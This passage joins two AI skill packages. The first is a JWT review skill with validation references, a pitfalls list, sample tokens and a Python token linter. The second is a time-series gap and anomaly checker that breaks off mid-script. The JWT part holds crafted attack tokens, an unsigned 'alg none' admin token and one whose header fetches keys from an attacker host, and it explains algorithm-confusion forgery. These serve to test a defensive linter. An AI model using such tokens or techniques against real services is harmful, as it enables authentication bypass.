- For a 401, match the finding to the symptom using `references/claims-and-validation.md`: clock skew, wrong audience, wrong issuer, or wrong key are the usual causes.
### 4. Recommend fixes
Use `references/common-jwt-pitfalls.md`: pin the algorithm list on the verifier, keep access tokens short (5-15 minutes) with refresh tokens, move personal data out of the payload, allow 30-60 seconds of leeway, and fetch keys only from a configured JWKS URL.
### 5. Report
Fill `templates/jwt-review.md` with the token fingerprint (never the token), findings, root cause, and the agreed fix.
## Rules
- Decoding is not verification. Never say a token is valid unless its signature was checked with the right key.
- Never print or store full tokens, signatures, or secrets. Pass secrets through an environment variable, not the command line.
- Do not help forge, replay, or tamper with tokens for systems the user does not own.
- RS/ES/PS/EdDSA signatures need the public key and a proper JOSE library; the script only verifies HMAC algorithms.
FILE:references/claims-and-validation.md
# Claims and Validation Order
## Registered claims (RFC 7519)
| Claim | Meaning | Type | Notes |
|---|---|---|---|
| iss | Issuer | string/URL | Pin it on the verifier; one issuer per trust domain |
| sub | Subject (user or service id) | string | Stable id, not an email that can change |
| aud | Audience | string or array | The API must find its own id in it |
| exp | Expiration time | NumericDate (seconds) | Required for access tokens |
| nbf | Not before | NumericDate | Token is rejected until then |
| iat | Issued at | NumericDate | Used for lifetime and freshness checks |
| jti | Token id | string | Enables revocation lists and replay detection |
NumericDate is seconds since 1970-01-01T00:00:00Z. A 13-digit value is milliseconds and will be read as a date tens of thousands of years away.
## Header parameters
- `alg` - signing algorithm. The verifier decides which values are allowed; the token never does.
- `kid` - key id, used to pick the right key from the issuer's JWKS during rotation.
- `typ` - usually `JWT` or `at+jwt` (access token profile, RFC 9068).
- `jku`, `x5u`, `jwk` - point to or embed keys. Ignore them unless they match a pinned, trusted source.
## What a verifier must check, in order
1. Token has three segments and decodes to JSON objects.
2. `alg` is in the verifier's allow-list (for example only RS256). Reject `none`.
3. Signature verifies with a key chosen by `kid` from a trusted JWKS, never from the token itself.
4. `exp` is in the future and `nbf` is in the past, both with small leeway (30-60 s).
5. `iss` equals the expected issuer.
6. `aud` contains this service's id.
7. Application rules: scopes, roles, tenant, `jti` not revoked.
## Matching 401 symptoms to causes
| Symptom | Likely cause | Check |
|---|---|---|
| Works locally, fails in prod | Clock skew or different issuer URL | iat/nbf vs server time, iss |
| Fails right after login | nbf or iat in the future | server clocks (NTP) |
| Fails for one API only | Wrong audience | aud list |
| Fails after key rotation | Unknown kid or cached JWKS | kid vs JWKS, cache TTL |
| Never expires | exp missing or in milliseconds | exp value |
FILE:references/common-jwt-pitfalls.md
# Common JWT Pitfalls
1. **Accepting `alg: none`.** Unsigned tokens are forgeable. Fix: pass an explicit algorithm allow-list to the verify call.
2. **Algorithm confusion (RS256 vs HS256).** If a verifier accepts both, an attacker can sign with HMAC using the public key as the secret. Fix: one algorithm family per key.
3. **Trusting keys from the token.** `jku`, `x5u`, or an embedded `jwk` let the sender choose the key. Fix: load keys only from a configured JWKS URL.
4. **Weak HMAC secrets.** Short or dictionary secrets can be brute-forced offline from one token. Fix: at least 32 random bytes for HS256 (48 for HS384, 64 for HS512), stored in a secret manager.
5. **Long-lived access tokens.** A leaked token works until exp. Fix: 5-15 minute access tokens plus rotating refresh tokens; revoke by `jti` if needed.
6. **Personal data in the payload.** Base64url is encoding, not encryption; anyone holding the token can read it. Fix: keep ids and scopes only, or use JWE.
7. **Milliseconds instead of seconds.** Common with `Date.now()` in JavaScript. Fix: `Math.floor(Date.now() / 1000)`.
8. **No leeway.** Small clock differences cause random 401s. Fix: 30-60 seconds of leeway and NTP on all hosts.
9. **Skipping aud/iss checks.** A token for one service gets replayed against another. Fix: always validate both.
10. **Tokens in URLs or logs.** They leak through referrers, proxies, and log search. Fix: send in the Authorization header and redact in logs.
FILE:templates/jwt-review.md
# JWT Review - <service or ticket>
**Token fingerprint:** sha256 <first 12 hex chars> **Environment:** <dev / staging / prod> **Checked at:** <UTC time>
**Issuer:** <iss> **Audience:** <aud> **Algorithm:** <alg> **Lifetime:** <exp - iat>
## Findings
| Severity | Code | Detail | Fix |
|---|---|---|---|
| | | | |
## Root cause
<one or two sentences tying the finding to the reported symptom>
## Agreed changes
- [ ] Verifier: <allow-list, leeway, iss/aud checks>
- [ ] Issuer: <lifetime, claims, key size, kid>
- [ ] Rotate exposed token or secret: <yes/no, owner>
## Notes
Decoded with scripts/jwt_inspect.py. The token itself is not stored in this report.
FILE:examples/sample-tokens.md
# Sample Tokens (demo only, no real systems)
Run each with:
```
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --expect-aud api://orders
```
## 1. Long-lived customer token (HS256, demo secret "dev-secret")
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJjdXN0Xzg4NDEiLCJhdWQiOlsiYXBpOi8vb3JkZXJzIiwiYXBpOi8vcHJvZmlsZSJdLCJpYXQiOjE3OTIzOTUwMDAsImV4cCI6MTc5Mjk5OTgwMCwiZW1haWwiOiJtaW5hQGV4YW1wbGUuY29tIiwicm9sZXMiOlsiY3VzdG9tZXIiXSwiY2FyZF9sYXN0NCI6IjQyNDIifQ.xupeoN2LYDYe-FKD_4qOh7KCw6G68Zi1pCms7dtUGh0
```
Expected: exit 0; medium lifetime_long (7.0d over 1.0d policy), medium sensitive_claim (card_last4). With `--secret-env` set to "dev-secret": signature verified, plus medium weak_secret (10 bytes).
## 2. Unsigned admin token (alg none)
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjM5NTAwMH0.
```
Expected: exit 1; high alg_none, high aud_mismatch (no aud but api://orders required), medium exp_missing.
## 3. Remote key URL and millisecond expiry (RS256)
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8va2V5cy5hdHRhY2tlci5leGFtcGxlL2p3a3MuanNvbiJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJzdmMtcmVwb3J0cyIsImF1ZCI6ImFwaTovL29yZGVycyIsImlhdCI6MTc5MjM5NTAwMCwiZXhwIjoxNzkyMzk4NjAwMDAwfQ.bm90LWEtcmVhbC1zaWduYXR1cmUtanVzdC1hLWRlbW8
```
Expected: exit 1; high exp_milliseconds, high header_jku, low kid_missing.
FILE:scripts/jwt_inspect.py
#!/usr/bin/env python3
"""JWT token inspector and claim linter (Python 3 standard library only).
Decodes a JSON Web Token (JWS compact form: header.payload.signature) WITHOUT trusting it,
prints the header and claims with human-readable times, and flags risky or broken settings.
Optionally verifies HS256/HS384/HS512 signatures when you pass the shared secret.
Usage:
python3 jwt_inspect.py <token> # or "-" to read the token from stdin
python3 jwt_inspect.py <token> --now 2026-10-19T09:00:00Z --leeway 60
python3 jwt_inspect.py <token> --expect-iss https://auth.example.com --expect-aud api://orders
python3 jwt_inspect.py <token> --secret-env JWT_SECRET # verify HS* with a secret from an env var
python3 jwt_inspect.py <token> --max-lifetime 3600 --json
python3 jwt_inspect.py --self-test
Severity: high (token unsafe or unusable), medium (likely bug or weak policy), low (hygiene).
Exit code: 0 no high findings, 1 at least one high finding (or --strict and any finding), 2 bad input.
The signature itself is never printed; only its length and a short SHA-256 fingerprint of the token.
"""
import argparse
import base64
import datetime as dt
import hashlib
import hmac
import json
import os
import re
import sys
HS_ALGS = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
MIN_HS_SECRET = {"HS256": 32, "HS384": 48, "HS512": 64}
KNOWN_ALGS = set(HS_ALGS) | {"RS256", "RS384", "RS512", "PS256", "PS384", "PS512",
"ES256", "ES384", "ES512", "EdDSA"}
SENSITIVE = re.compile(r"(pass(word)?|pwd|secret|ssn|social|credit|card|cvv|iban|private|api_?key|refresh_?token)", re.I)
TIME_CLAIMS = ("exp", "nbf", "iat")
class TokenError(ValueError):
pass
def b64url_decode(part, what):
if not re.fullmatch(r"[A-Za-z0-9_-]*", part):
raise TokenError(f"{what} is not base64url (found characters outside A-Z a-z 0-9 - _ or '=' padding)")
try:
return base64.urlsafe_b64decode(part + "=" * (-len(part) % 4))
except (ValueError, TypeError) as e:
raise TokenError(f"{what} could not be base64url-decoded: {e}")
def b64url_encode(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=").decode("ascii")
def decode(token):
token = token.strip()
if token.lower().startswith("bearer "):
token = token[7:].strip()
parts = token.split(".")
if len(parts) == 5:
raise TokenError("5 segments: this is an encrypted JWE, not a signed JWS; it cannot be inspected without the key")
if len(parts) != 3:
raise TokenError(f"expected 3 dot-separated segments, found {len(parts)}")
out = {}
for name, part in (("header", parts[0]), ("payload", parts[1])):
raw = b64url_decode(part, name)
try:
obj = json.loads(raw.decode("utf-8"))
except (UnicodeDecodeError, ValueError):
raise TokenError(f"{name} is not valid UTF-8 JSON")
if not isinstance(obj, dict):
raise TokenError(f"{name} must be a JSON object")
out[name] = obj
out["signature"] = b64url_decode(parts[2], "signature")
out["signing_input"] = (parts[0] + "." + parts[1]).encode("ascii")
out["fingerprint"] = hashlib.sha256(token.encode("utf-8")).hexdigest()[:12]
return out
def parse_now(value):
if value is None:
return int(dt.datetime.now(dt.timezone.utc).timestamp())
if re.fullmatch(r"\d+", value):
return int(value)
t = dt.datetime.fromisoformat(value.replace("Z", "+00:00"))
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return int(t.timestamp())
def iso(ts):
try:
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
except (OverflowError, OSError, ValueError, TypeError):
return "invalid"
def human_delta(seconds):
s = abs(int(seconds))
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if s >= size:
return f"{s / size:.1f}{unit}"
return f"{s}s"
def verify_hs(tok, secret):
alg = tok["header"].get("alg")
fn = HS_ALGS.get(alg)
if fn is None:
return None
mac = hmac.new(secret.encode("utf-8"), tok["signing_input"], fn).digest()
return hmac.compare_digest(mac, tok["signature"])
def inspect(token, now=None, leeway=0, expect_iss=None, expect_aud=None, max_lifetime=86400, secret=None):
tok = decode(token)
h, p = tok["header"], tok["payload"]
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
alg = h.get("alg")
if alg is None:
add("high", "alg_missing", "header has no 'alg'; libraries may reject it or guess")
elif str(alg).lower() == "none":
add("high", "alg_none", "alg is 'none': the token is unsigned and anyone can forge it")
if tok["signature"]:
add("medium", "none_with_signature", "alg 'none' but a signature segment is present")
elif alg not in KNOWN_ALGS:
add("medium", "alg_unknown", f"unusual alg '{alg}'")
if alg and str(alg).lower() != "none" and not tok["signature"]:
add("high", "signature_empty", "signature segment is empty although alg requires one")
for key in ("jku", "x5u"):
if key in h:
add("high", f"header_{key}", f"header '{key}' points to a remote key URL ({h[key]}); never fetch keys from a URL inside the token")
if "jwk" in h:
add("high", "header_jwk", "header embeds its own 'jwk'; a verifier that trusts it accepts attacker keys")
if "crit" in h:
add("medium", "header_crit", f"'crit' lists extensions {h['crit']}; verifiers must understand them or reject the token")
if alg in KNOWN_ALGS and alg not in HS_ALGS and "kid" not in h:
add("low", "kid_missing", "asymmetric alg without 'kid'; key rotation will be painful")
now = parse_now(now) if not isinstance(now, int) else now
times = {}
for c in TIME_CLAIMS:
if c in p:
v = p[c]
if isinstance(v, bool) or not isinstance(v, (int, float)):
add("high", f"{c}_not_numeric", f"'{c}' must be NumericDate seconds, got {v!r}")
elif v > 10**11:
add("high", f"{c}_milliseconds", f"'{c}'={v} looks like milliseconds; JWT uses seconds")
else:
times[c] = int(v)
if "exp" not in p:
add("medium", "exp_missing", "no 'exp': the token never expires")
elif "exp" in times and times["exp"] + leeway < now:
add("high", "expired", f"expired at {iso(times['exp'])} ({human_delta(now - times['exp'])} ago)")
if "nbf" in times and times["nbf"] - leeway > now:
add("high", "not_yet_valid", f"not valid before {iso(times['nbf'])} ({human_delta(times['nbf'] - now)} from now)")
if "iat" in times and times["iat"] - leeway > now:
add("medium", "iat_future", f"issued in the future ({iso(times['iat'])}); check clock skew")
if "exp" in times and "iat" in times:
life = times["exp"] - times["iat"]
if life <= 0:
add("high", "exp_before_iat", "exp is not after iat")
elif max_lifetime and life > max_lifetime:
add("medium", "lifetime_long", f"lifetime {human_delta(life)} exceeds policy {human_delta(max_lifetime)}")
if "iss" not in p:
add("low", "iss_missing", "no 'iss'; verifiers cannot pin the issuer")
elif expect_iss and p["iss"] != expect_iss:
add("high", "iss_mismatch", f"iss '{p['iss']}' != expected '{expect_iss}'")
aud = p.get("aud")
auds = aud if isinstance(aud, list) else ([aud] if aud is not None else [])
if aud is None and expect_aud:
add("high", "aud_mismatch", f"no 'aud' claim but '{expect_aud}' is required")
elif aud is None:
add("low", "aud_missing", "no 'aud'; the token could be replayed against another service")
elif expect_aud and expect_aud not in auds:
add("high", "aud_mismatch", f"aud {auds} does not contain expected '{expect_aud}'")
if "sub" not in p:
add("low", "sub_missing", "no 'sub'; who is this token about?")
for k in p:
if SENSITIVE.search(k):
add("medium", "sensitive_claim", f"claim '{k}' looks sensitive; JWT payloads are only encoded, not encrypted")
verified = None
if secret is not None:
if alg not in HS_ALGS:
add("low", "verify_skipped", f"--secret only verifies HS256/384/512; alg is {alg}")
else:
verified = verify_hs(tok, secret)
if not verified:
add("high", "bad_signature", "HMAC signature does NOT match the given secret")
if len(secret.encode("utf-8")) < MIN_HS_SECRET[alg]:
add("medium", "weak_secret", f"{alg} secret is {len(secret.encode('utf-8'))} bytes; use at least {MIN_HS_SECRET[alg]} random bytes")
order = {"high": 0, "medium": 1, "low": 2}
findings.sort(key=lambda f: (order[f["severity"]], f["code"]))
return {
"fingerprint": tok["fingerprint"],
"header": h,
"payload": p,
"times": {c: iso(v) for c, v in times.items()},
"now": iso(now),
"signature_bytes": len(tok["signature"]),
"signature_verified": verified,
"findings": findings,
}
def to_markdown(r):
lines = [f"# JWT inspection (sha256 {r['fingerprint']})", "",
f"Checked at {r['now']}. Signature: {r['signature_bytes']} bytes"
+ ("" if r["signature_verified"] is None else (", verified OK" if r["signature_verified"] else ", NOT verified")), "",
"## Header", "```json", json.dumps(r["header"], indent=2, ensure_ascii=False), "```", "",
"## Claims", "```json", json.dumps(r["payload"], indent=2, ensure_ascii=False), "```", ""]
if r["times"]:
lines += ["| Claim | UTC |", "|---|---|"] + [f"| {k} | {v} |" for k, v in r["times"].items()] + [""]
lines += ["## Findings"]
if not r["findings"]:
lines.append("No findings.")
else:
lines += ["| Severity | Code | Detail |", "|---|---|---|"]
lines += [f"| {f['severity']} | {f['code']} | {f['message']} |" for f in r["findings"]]
return "\n".join(lines)
def make_token(header, payload, secret=None, signature=b""):
si = b64url_encode(json.dumps(header, separators=(",", ":")).encode()) + "." + \
b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
if secret is not None:
signature = hmac.new(secret.encode(), si.encode(), HS_ALGS[header["alg"]]).digest()
return si + "." + b64url_encode(signature)
def self_test():
now = 1760860800 # 2025-10-19T08:00:00Z
strong = "k" * 40
good_claims = {"iss": "https://auth.example.com", "sub": "user-42", "aud": "api://orders",
"iat": now - 60, "exp": now + 840}
good = make_token({"alg": "HS256", "typ": "JWT"}, good_claims, strong)
codes = lambda r: {f["code"] for f in r["findings"]}
cases = []
def check(name, cond):
cases.append((name, bool(cond)))
r = inspect(good, now=now, secret=strong, expect_iss="https://auth.example.com", expect_aud="api://orders")
check("clean token has no findings", r["findings"] == [])
check("clean token signature verified", r["signature_verified"] is True)
check("bearer prefix accepted", inspect("Bearer " + good, now=now)["payload"]["sub"] == "user-42")
check("wrong secret flagged", "bad_signature" in codes(inspect(good, now=now, secret="x" * 40)))
check("weak secret flagged", "weak_secret" in codes(inspect(make_token({"alg": "HS256"}, good_claims, "short"), now=now, secret="short")))
check("alg none flagged high", "alg_none" in codes(inspect(make_token({"alg": "none"}, good_claims), now=now)))
check("expired flagged", "expired" in codes(inspect(good, now=now + 3600)))
check("leeway tolerates small skew", "expired" not in codes(inspect(good, now=now + 850, leeway=30)))
check("nbf in future flagged", "not_yet_valid" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, nbf=now + 600), strong), now=now)))
check("exp missing flagged", "exp_missing" in codes(inspect(make_token({"alg": "HS256"}, {"sub": "a", "iat": now}, strong), now=now)))
check("milliseconds exp flagged", "exp_milliseconds" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=(now + 600) * 1000), strong), now=now)))
check("long lifetime flagged", "lifetime_long" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, exp=now + 30 * 86400), strong), now=now)))
check("iss mismatch flagged", "iss_mismatch" in codes(inspect(good, now=now, expect_iss="https://evil.example")))
check("aud list accepted", "aud_mismatch" not in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, aud=["a", "api://orders"]), strong), now=now, expect_aud="api://orders")))
check("aud mismatch flagged", "aud_mismatch" in codes(inspect(good, now=now, expect_aud="api://billing")))
check("missing aud with expected aud is high", "aud_mismatch" in codes(inspect(make_token({"alg": "HS256"}, {k: v for k, v in good_claims.items() if k != "aud"}, strong), now=now, expect_aud="api://orders")))
check("jku header flagged", "header_jku" in codes(inspect(make_token({"alg": "RS256", "kid": "1", "jku": "https://x/keys"}, good_claims, signature=b"sig"), now=now)))
check("rs256 without kid is low", "kid_missing" in codes(inspect(make_token({"alg": "RS256"}, good_claims, signature=b"sig"), now=now)))
check("sensitive claim flagged", "sensitive_claim" in codes(inspect(make_token({"alg": "HS256"}, dict(good_claims, password="hunter2"), strong), now=now)))
check("empty signature flagged", "signature_empty" in codes(inspect(make_token({"alg": "HS256"}, good_claims), now=now)))
for bad, label in (("abc.def", "two segments rejected"), ("a.b.c.d.e", "JWE rejected"), ("!!.e30.", "bad base64 rejected")):
try:
inspect(bad, now=now)
check(label, False)
except TokenError:
check(label, True)
check("markdown never prints signature", make_token({"alg": "HS256"}, good_claims, strong).split(".")[2] not in to_markdown(r))
passed = sum(ok for _, ok in cases)
for name, ok in cases:
print(("PASS " if ok else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Decode and lint a JWT without trusting it.")
ap.add_argument("token", nargs="?", help="JWT string, or '-' to read from stdin")
ap.add_argument("--now", help="reference time: ISO 8601 (Z or offset) or epoch seconds; default: current UTC time")
ap.add_argument("--leeway", type=int, default=0, help="allowed clock skew in seconds (default 0)")
ap.add_argument("--expect-iss")
ap.add_argument("--expect-aud")
ap.add_argument("--max-lifetime", type=int, default=86400, help="max exp-iat seconds before warning (0 = off)")
ap.add_argument("--secret-env", help="name of an environment variable holding the HS* secret (avoids shell history)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.token:
ap.error("token required (or --self-test)")
token = sys.stdin.read() if a.token == "-" else a.token
secret = None
if a.secret_env:
secret = os.environ.get(a.secret_env)
if secret is None:
print(f"error: environment variable {a.secret_env} is not set", file=sys.stderr)
return 2
try:
r = inspect(token, now=a.now, leeway=a.leeway, expect_iss=a.expect_iss, expect_aud=a.expect_aud,
max_lifetime=a.max_lifetime, secret=secret)
except (TokenError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, ensure_ascii=False) if a.json else to_markdown(r))
if any(f["severity"] == "high" for f in r["findings"]) or (a.strict and r["findings"]):
return 1
return 0
if __name__ == "__main__":
sys.exit(main())检查时间序列数据的缺口与异常点。
---
name: time-series-gap-anomaly-checker
description: 检查时间序列数据的缺口与异常点。
---
# 时间序列缺口与异常检查器
你是「时间序列缺口与异常检查器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。
# Time Series Gap and Anomaly Checker
You help analysts, SREs, and data engineers decide whether a time series can be trusted. You find where data is missing, repeated, stuck, or suspicious, explain the likely cause of each problem, and separate collection problems (the pipeline) from real events (the system being measured). You never silently fill gaps or delete outliers; you propose a treatment and say what it changes.
## Files in this skill
- `scripts/ts_check.py` - reads a CSV, infers the sampling interval, and reports gaps, duplicates, out-of-order rows, missing values, flatlines, spikes, and counter resets as markdown or JSON (Python 3 standard library only)
- `references/anomaly-methods.md` - how the checks work, how to tune thresholds, and when each method fails
- `references/gap-handling-playbook.md` - what to do with each kind of problem: fill, interpolate, drop, or annotate
- `templates/data-quality-report.md` - a report for a dashboard fix, incident review, or dataset hand-off
- `examples/api-metrics.csv` - three hours of 5-minute API metrics with a scrape outage, a duplicate, a stuck value, a latency spike, and a counter reset
## Workflow
### 1. Understand the series
Ask what each column measures, its unit, the expected sampling interval, and whether any column is a monotonic counter (requests_total, bytes_sent). Ask which time zone naive timestamps use; the script treats them as UTC.
### 2. Run the checker
```
python3 scripts/ts_check.py examples/api-metrics.csv --counter requests_total
python3 scripts/ts_check.py data.csv --time-col ts --cols temp_c,humidity --interval 10m
python3 scripts/ts_check.py data.csv --z 5 --window 12 --flatline-points 12 --json > report.json
python3 scripts/ts_check.py --self-test
```
Timestamps can be ISO 8601 or Unix epoch seconds or milliseconds. Exit code 1 when any issue is found, 2 on bad input, so it can run as a pipeline gate.
### 3. Read the results
- **Completeness** = rows present / rows expected over the range. Below 95% usually means aggregates and averages are biased.
- **gap**: spacing over 1.5x the interval. Long gaps at regular times often mean deploys or cron jobs; one long gap usually means an outage of the collector.
- **duplicate / out_of_order**: double scrapes, retries, or merged files.
- **flatline**: the same value repeated; real for on/off signals, suspicious for noisy measurements.
- **spike**: robust z-score against a rolling median. Check whether neighbouring columns spike at the same time (a real event) or not (a glitch).
- **reset**: a counter that went down, usually a process restart; rate calculations must handle it.
### 4. Recommend treatment
Use `references/gap-handling-playbook.md`. Tune thresholds with `references/anomaly-methods.md` if the data is seasonal, bursty, or very sparse.
### 5. Report
Fill `templates/data-quality-report.md` with the summary numbers, the top issues with times in the user's time zone, the suspected cause, and the agreed treatment.
## Rules
- Report problems; do not alter the source data. Write cleaned data to a new file and document every change.
- Do not call a spike an incident without corroboration (other metrics, logs, or a human).
- State the interval and thresholds you used so results are reproducible.
- Convert UTC times to the user's time zone when presenting them.
FILE:references/anomaly-methods.md
# Anomaly Methods and Tuning
## Interval inference
The expected interval is the median spacing between sorted unique timestamps. This survives a few gaps and jitter. Pass `--interval` when the series is mostly gaps (sparse events) or when you know the scrape interval.
A gap is any spacing above 1.5x the interval, so 5-minute data with a 7-minute spacing is not a gap but a 10-minute spacing is (1 missing point).
## Robust spikes (rolling median + MAD)
For each point, take up to `--window` neighbours on each side (excluding the point), compute their median and the median absolute deviation (MAD). The robust z-score is:
z = |value - median| / (1.4826 * MAD)
1.4826 makes MAD comparable to a standard deviation for normal data. Default threshold 4 is roughly a 1-in-15,000 event for normal noise. When more than half the neighbours are identical (MAD = 0), the mean absolute deviation is used, and for a perfectly flat neighbourhood 1% of the level.
Why not mean and standard deviation? One large spike inflates the standard deviation and hides itself. The median and MAD ignore it.
## Tuning
| Data | Suggestion |
|---|---|
| Noisy metrics (latency, CPU) | `--z 5`, `--window 12` |
| Daily or weekly seasonality | Check one season at a time, or compare to the same hour last week before trusting spikes |
| Bursty business data (orders) | Higher `--z` (6-8); spikes are often real |
| Integer or low-resolution values | Expect MAD = 0; raise `--z` or aggregate first |
| On/off or status signals | Ignore flatline; check only gaps |
| Counters | Always pass `--counter`; check rates after handling resets |
## Known limits
- Gradual drifts and level shifts are not spikes; plot the series or compare week-over-week medians.
- The first and last few points have fewer neighbours, so their scores are less reliable.
- Irregular event streams (logins, purchases) have no fixed interval; aggregate into buckets first.
FILE:references/gap-handling-playbook.md
# Gap and Anomaly Handling Playbook
| Problem | Likely causes | Default treatment | Avoid |
|---|---|---|---|
| Short gap (1-2 points) | scrape timeout, network blip | Linear interpolation for smooth signals; leave null for counts | Filling counts with zero |
| Long gap | collector down, deploy, host off | Leave null and annotate the chart; exclude from SLO math or count as unknown | Interpolating across hours |
| Duplicate timestamps | double scrape, retried batch, merged files | Keep one row (first, or the one with most fields); check whether values differ | Summing duplicates |
| Out-of-order rows | late-arriving data, file concatenation | Sort by time before any windowed calculation | Assuming file order is time order |
| Missing values | sensor dropout, parse errors, "N/A" strings | Fix the parser first; then treat as a gap | Treating blank as 0 |
| Flatline | stuck exporter, cached value, sensor freeze | Confirm with a second source; mark as suspect | Trusting it for alerts |
| Spike (single point) | glitch, unit error, real burst | Check related columns and logs; cap or remove only with a documented reason | Deleting without a note |
| Counter reset | process restart, overflow | Compute rates per segment (rate after reset = new value / interval) | Negative rates |
## Before modeling or forecasting
1. Sort, de-duplicate, and regularize to the expected interval (insert nulls for missing slots).
2. Decide gap policy per column and record it.
3. Keep a mask column (`is_imputed`) so models and readers know what was filled.
4. Re-run the checker on the cleaned file and attach both reports.
## When to escalate
- Completeness under 90% for a metric used in an SLO or invoice.
- Gaps that repeat at the same time every day (a job is killing the collector).
- Spikes that appear in all hosts at once (a real incident, not a data issue).
FILE:templates/data-quality-report.md
# Time Series Data Quality - <dataset or dashboard>
**Source:** <file / query> **Range:** <start> to <end> (<time zone>) **Interval:** <expected>
**Rows:** <n> **Completeness:** <percent> **Thresholds:** z=<z>, window=<w>, flatline=<n>
## Summary
<two sentences: can this data be trusted for the intended use, and what must change first>
## Issues
| Kind | When (<time zone>) | Column | Detail | Suspected cause | Treatment |
|---|---|---|---|---|---|
| | | | | | |
## Decisions
- Gap policy: <interpolate short gaps / leave null / exclude>
- Outlier policy: <keep / cap / remove with note>
- Counter handling: <segment rates at resets>
## Follow-ups
- [ ] <fix collector / parser / alert> - owner <name> - due <date>
Generated with scripts/ts_check.py. Source data was not modified.
FILE:examples/api-metrics.csv
timestamp,p95_latency_ms,error_rate,requests_total
2026-10-18T22:00:00Z,182,0.4,1200
2026-10-18T22:05:00Z,176,0.3,2435
2026-10-18T22:10:00Z,190,0.5,3705
2026-10-18T22:15:00Z,185,0.4,5010
2026-10-18T22:20:00Z,179,0.3,6210
2026-10-18T22:25:00Z,188,0.4,7445
2026-10-18T22:30:00Z,181,0.5,8715
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:35:00Z,193,0.4,10020
2026-10-18T22:40:00Z,177,0.3,11220
2026-10-18T22:45:00Z,184,0.4,12455
2026-10-18T22:50:00Z,186,0.4,13725
2026-10-18T22:55:00Z,180,0.4,15030
2026-10-18T23:00:00Z,191,0.4,16230
2026-10-18T23:05:00Z,,0.4,17465
2026-10-18T23:10:00Z,178,0.4,18735
2026-10-18T23:15:00Z,187,0.4,20040
2026-10-18T23:20:00Z,182,0.4,21240
2026-10-18T23:25:00Z,189,0.4,22475
2026-10-18T23:30:00Z,612,2.1,23745
2026-10-18T23:35:00Z,185,0.5,25050
2026-10-18T23:40:00Z,180,0.3,26250
2026-10-18T23:45:00Z,184,0.4,27485
2026-10-19T00:10:00Z,188,0.5,28755
2026-10-19T00:15:00Z,183,0.4,30060
2026-10-19T00:20:00Z,177,0.3,31260
2026-10-19T00:25:00Z,185,0.4,32495
2026-10-19T00:30:00Z,182,0.5,1180
2026-10-19T00:35:00Z,189,0.4,2485
2026-10-19T00:40:00Z,184,0.3,3685
2026-10-19T00:45:00Z,180,0.4,4920
2026-10-19T00:50:00Z,186,0.5,6190
2026-10-19T00:55:00Z,183,0.4,7495
FILE:scripts/ts_check.py
#!/usr/bin/env python3
"""Time series gap and anomaly checker for CSV metrics (Python 3 standard library only).
Reads a CSV with a timestamp column and one or more numeric columns, infers the sampling
interval (median spacing) unless --interval is given, and reports:
gap missing samples (spacing > 1.5 x interval), with how many points are missing
duplicate repeated timestamps
out_of_order timestamps that go backwards
missing empty, NaN, or non-numeric values
flatline the same value repeated for >= --flatline-points samples (stuck sensor/exporter)
spike robust outliers: |value - rolling median| / (1.4826 * MAD) >= --z (default 4);
if MAD is 0 the mean absolute deviation is used instead
reset a counter column that decreases (--counter col1,col2)
Timestamps: ISO 8601 (with Z or offset; naive = UTC) or Unix epoch seconds/milliseconds.
Usage:
python3 ts_check.py metrics.csv
python3 ts_check.py metrics.csv --time-col ts --cols cpu,latency_ms --interval 5m --z 5
python3 ts_check.py metrics.csv --counter requests_total --json
python3 ts_check.py --self-test
Exit code: 0 clean, 1 issues found, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import io
import json
import math
import re
import statistics
import sys
class InputError(ValueError):
pass
def parse_ts(raw):
s = (raw or "").strip()
if not s:
raise InputError("empty timestamp")
if re.fullmatch(r"-?\d+(\.\d+)?", s):
v = float(s)
return v / 1000.0 if v > 1e11 else v
try:
t = dt.datetime.fromisoformat(s.replace("Z", "+00:00").replace(" ", "T", 1))
except ValueError:
raise InputError(f"unparseable timestamp {s!r}")
if t.tzinfo is None:
t = t.replace(tzinfo=dt.timezone.utc)
return t.timestamp()
def parse_interval(s):
m = re.fullmatch(r"(\d+(?:\.\d+)?)\s*(ms|s|m|h|d)?", s.strip())
if not m:
raise InputError(f"bad interval {s!r}; use e.g. 30s, 5m, 1h")
mult = {"ms": 0.001, "s": 1, None: 1, "m": 60, "h": 3600, "d": 86400}[m.group(2)]
return float(m.group(1)) * mult
def fmt_ts(ts):
return dt.datetime.fromtimestamp(ts, dt.timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
def fmt_dur(sec):
for unit, size in (("d", 86400), ("h", 3600), ("m", 60)):
if sec >= size:
v = sec / size
